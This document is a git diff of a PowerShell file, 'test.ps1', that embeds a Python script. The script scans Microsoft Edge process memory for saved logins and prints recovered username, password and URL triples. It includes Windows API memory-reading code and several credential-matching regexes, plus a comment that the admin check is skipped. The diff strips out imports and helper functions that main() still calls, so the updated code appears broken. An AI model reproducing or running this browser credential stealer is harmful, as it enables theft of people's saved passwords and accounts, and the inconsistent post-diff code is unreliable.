Update test.ps1

test.ps1

@@ -1,112 +1,7 @@
 
 $pythonCode = @'
-import sys
-import re
-import ctypes
-import ctypes.wintypes
-import psutil
-import win32security
-import win32process
-import win32api
-import win32con
-from collections import OrderedDict
-
-# Windows API Constants
-PROCESS_QUERY_INFORMATION = 0x0400
-PROCESS_VM_READ = 0x0010
-MEM_COMMIT = 0x1000
-PAGE_READWRITE = 0x04
-
-# ctypes Structures
-class MEMORY_BASIC_INFORMATION(ctypes.Structure):
-    _fields_ = [
-        ("BaseAddress", ctypes.c_void_p),
-        ("AllocationBase", ctypes.c_void_p),
-        ("AllocationProtect", ctypes.wintypes.DWORD),
-        ("RegionSize", ctypes.c_size_t),
-        ("State", ctypes.wintypes.DWORD),
-        ("Protect", ctypes.wintypes.DWORD),
-        ("Type", ctypes.wintypes.DWORD),
-    ]
-
-# Windows API Functions
-kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
-advapi32 = ctypes.WinDLL('advapi32', use_last_error=True)
-
-kernel32.OpenProcess.restype = ctypes.c_void_p
-kernel32.OpenProcess.argtypes = [ctypes.wintypes.DWORD, ctypes.wintypes.BOOL, ctypes.wintypes.DWORD]
-
-advapi32.OpenProcessToken.restype = ctypes.wintypes.BOOL
-advapi32.OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.wintypes.DWORD, ctypes.POINTER(ctypes.c_void_p)]
-
-kernel32.ReadProcessMemory.restype = ctypes.wintypes.BOOL
-kernel32.ReadProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t)]
-
-kernel32.VirtualQueryEx.restype = ctypes.c_size_t
-kernel32.VirtualQueryEx.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.POINTER(MEMORY_BASIC_INFORMATION), ctypes.c_size_t]
-
-kernel32.CloseHandle.restype = ctypes.wintypes.BOOL
-kernel32.CloseHandle.argtypes = [ctypes.c_void_p]
-
-
-class ProcessInfo:
-    def __init__(self, pid, name, owner, command_line=None):
-        self.Id = pid
-        self.Name = name
-        self.Owner = owner
-        self.CommandLine = command_line
-
-
-def get_process_owner_from_token(pid):
-    """Get process owner using Windows token."""
-    hProcess = kernel32.OpenProcess(0x1000, False, pid)  # QUERY_LIMITED_INFORMATION
-    if not hProcess:
-        return "UNKNOWN"
-
-    hToken = ctypes.c_void_p()
-    if not advapi32.OpenProcessToken(hProcess, 8, ctypes.byref(hToken)):  # TOKEN_QUERY
-        kernel32.CloseHandle(hProcess)
-        return "UNKNOWN"
-
-    try:
-        token_handle = hToken.value
-        sid = win32security.GetTokenInformation(token_handle, win32security.TokenUser)[0]
-        name, domain, _ = win32security.LookupAccountSid(None, sid)
-        return f"{domain}\\{name}"
-    except Exception:
-        return "UNKNOWN"
-    finally:
-        if hToken:
-            kernel32.CloseHandle(hToken)
-        if hProcess:
-            kernel32.CloseHandle(hProcess)
-
-
-def is_printable_ascii(data):
-    """Check if string contains mostly printable ASCII characters."""
-    if not data:
-        return False
-    printable = sum(1 for c in data if 32 <= ord(c) <= 126)
-    return printable / len(data) > 0.8 if len(data) > 0 else False
-
-
-def extract_strings(data, min_length=4):
-    """Extract readable strings from binary data."""
-    strings = []
-    current = []
-    for byte in data:
-        if 32 <= byte <= 126:  # Printable ASCII
-            current.append(chr(byte))
-        else:
-            if len(current) >= min_length:
-                strings.append(''.join(current))
-            current = []
-    if len(current) >= min_length:
-        strings.append(''.join(current))
-    return strings
-
-
 def main():
+    # 管理者権限チェックをスキップ
     print("\033[92m[v]\033[0m Starting script execution\n")
     print("Fetching browser processes:", end="", flush=True)
     total_matches = 0
@@ -137,6 +32,7 @@ def main():
                 if skip:
                     continue
                 
+                # The credentials are only stored at root/parent msedge.exe processes
                 owner = get_process_owner_from_token(pid)
                 process_list.append(ProcessInfo(pid, proc.info['name'], owner))
         except (psutil.NoSuchProcess, psutil.AccessDenied):
@@ -157,9 +53,8 @@ def main():
             print(f"Failed to open process: {proc.Id} {proc.Name} {proc.Owner}")
             continue
         
+        # 修正: アドレスを適切に初期化
         address = ctypes.c_void_p(0)
-        regions_scanned = 0
-        potential_matches = 0
         
         while True:
             mem_info = MEMORY_BASIC_INFORMATION()
@@ -176,100 +71,83 @@ def main():
             
             if readable and mem_info.BaseAddress is not None:
                 region_size = mem_info.RegionSize
+
                 
-                # 大きすぎるリージョンは分割して読み取り
-                max_read_size = 10000 * 1024 * 1024  # 1000MB chunks
-                offset = 0
+                try:
+                    buffer = ctypes.create_string_buffer(region_size)
+                except (OverflowError, MemoryError):
+                    # バッファが作成できない場合はスキップ
+                    address = ctypes.c_void_p(mem_info.BaseAddress + mem_info.RegionSize)
+                    continue
                 
-                while offset < region_size:
-                    current_read_size = min(max_read_size, region_size - offset)
-                    current_address = ctypes.c_void_p(mem_info.BaseAddress + offset)
-                    
+                bytes_read = ctypes.c_size_t(0)
+                
+                if kernel32.ReadProcessMemory(
+                    process_handle,
+                    mem_info.BaseAddress,
+                    buffer,
+                    region_size,
+                    ctypes.byref(bytes_read)
+                ):
                     try:
-                        buffer = ctypes.create_string_buffer(current_read_size)
-                    except (OverflowError, MemoryError):
-                        break
+                        utf8_data = buffer.raw[:bytes_read.value].decode('utf-8', errors='ignore')
+                    except Exception:
+                        try:
+                            utf8_data = buffer.raw[:bytes_read.value].decode('latin-1', errors='ignore')
+                        except Exception:
+                            utf8_data = ""
                     
-                    bytes_read = ctypes.c_size_t(0)
-                    
-                    if kernel32.ReadProcessMemory(
-                        process_handle,
-                        current_address,
-                        buffer,
-                        current_read_size,
-                        ctypes.byref(bytes_read)
-                    ):
-                        # 生のバイトデータとして処理
-                        raw_bytes = buffer.raw[:bytes_read.value]
-                        
-                        # 文字列を抽出
-                        strings = extract_strings(raw_bytes)
+                    if utf8_data:
+                        lines = re.split(r'\r\n|\r|\n', utf8_data)
                         
-                        for s in strings:
-                            # パスワードパターンを探す（より柔軟なパターン）
-                            # URL:password または username:password のパターン
-                            patterns = [
-                                # 元のパターン（スペース区切り）
-                                r'(?:https?://[^\s\x00]+)[\x00\s]+([^\s\x00]{3,40})[\x00\s]+([^\s\x00]{6,40})',
-                                # username:password@url パターン
-                                r'([^\s\x00:]{3,40}):([^\s\x00@]{6,40})@(https?://[^\s\x00]+)',
-                                # 単純な URL, username, password パターン
-                                r'(https?://[^\s\x00]{3,100})[\x00\s]{1,10}([^\s\x00]{3,40})[\x00\s]{1,10}([^\s\x00]{6,40})',
-                            ]
+                        for line in lines:
+                            if len(line) < 1:  # 短すぎる行はスキップ
+                                continue
+                                
+                            pattern = r'[a-zA-Z]https?\x20([a-zA-ZæøåÆØÅ0-9\\\-_.@\?]{3,20})\x20([a-zA-ZæøåÆØÅ0-9#!@#\$%\^&\*\(\)_\-\+=\{\}\[\]:;<>\?/~\s]{6,40})\x20\x00'
                             
-                            for pattern in patterns:
+                            try:
+                                matches = re.finditer(pattern, line)
+                            except Exception:
+                                continue
+                            
+                            for match in matches:
                                 try:
-                                    matches = re.finditer(pattern, s, re.IGNORECASE)
-                                    for match in matches:
-                                        if len(match.groups()) == 3:
-                                            if 'http' in match.group(1).lower():
-                                                url = match.group(1)
-                                                username = match.group(2)
-                                                password = match.group(3)
-                                            else:
-                                                username = match.group(1)
-                                                password = match.group(2)
-                                                url = match.group(3) if len(match.groups()) > 2 else ""
-                                            
-                                            # URLをクリーンアップ
-                                            url = re.sub(r'[\x00-\x1f\x7f-\x9f]', '', url)
-                                            username = re.sub(r'[\x00-\x1f\x7f-\x9f]', '', username)
-                                            password = re.sub(r'[\x00-\x1f\x7f-\x9f]', '', password)
-                                            
-                                            if url and username and password:
-                                                combined = f"{username} : {password} @{url}"
-                                                if combined not in seen_strings and len(password) >= 6:
-                                                    print(f"[FOUND] {combined}")
-                                                    seen_strings.add(combined)
-                                                    shown_matches += 1
-                                                    total_matches += 1
-                                                    potential_matches += 1
-                                except Exception as e:
-                                    pass
-                    
-                    offset += current_read_size
-                
-                regions_scanned += 1
-                
-                # 進捗表示
-                if regions_scanned % 100 == 0:
-                    print(f"  Scanned {regions_scanned} regions...")
+                                    username = match.group(1)
+                                    password = match.group(2)
+                                    potential_pattern = f"{username} : {password}"
+                                    
+                                    url_pattern = (
+                                        r'\x00\x00\x00'
+                                        r'([A-Za-z0-9\-._~:/?#\[\]@!$&\'()*+,;=%]+)'
+                                        r'(https?)'
+                                        + re.escape(f'\x20{username} {password}')
+                                    )
+                                    
+                                    for url_match in re.finditer(url_pattern, line):
+                                        value = url_match.group(1)
+                                        combined = f"{potential_pattern} @{value}"
+                                        if combined not in seen_strings:
+                                            print(combined)
+                                            seen_strings.add(combined)
+                                            shown_matches += 1
+                                            total_matches += 1
+                                    
+                                    already_checked_users.add(user_process_key)
+                                except Exception:
+                                    continue
             
+            # 修正: 次のメモリリージョンへ移動（BaseAddressとRegionSizeがNoneでないことを確認）
             if mem_info.BaseAddress is not None and mem_info.RegionSize is not None:
                 address = ctypes.c_void_p(mem_info.BaseAddress + mem_info.RegionSize)
             else:
                 break
         
-        print(f"  Process {proc.Id}: Scanned {regions_scanned} memory regions, found {potential_matches} potential matches")
         kernel32.CloseHandle(process_handle)
     
     seen_strings.clear()
     
     print(f"\nTotal matches found across all processes: {total_matches}. {shown_matches} shown.")
-
-
-if __name__ == "__main__":
-    main() 
 '@
 
 $pyFile = "wp.py"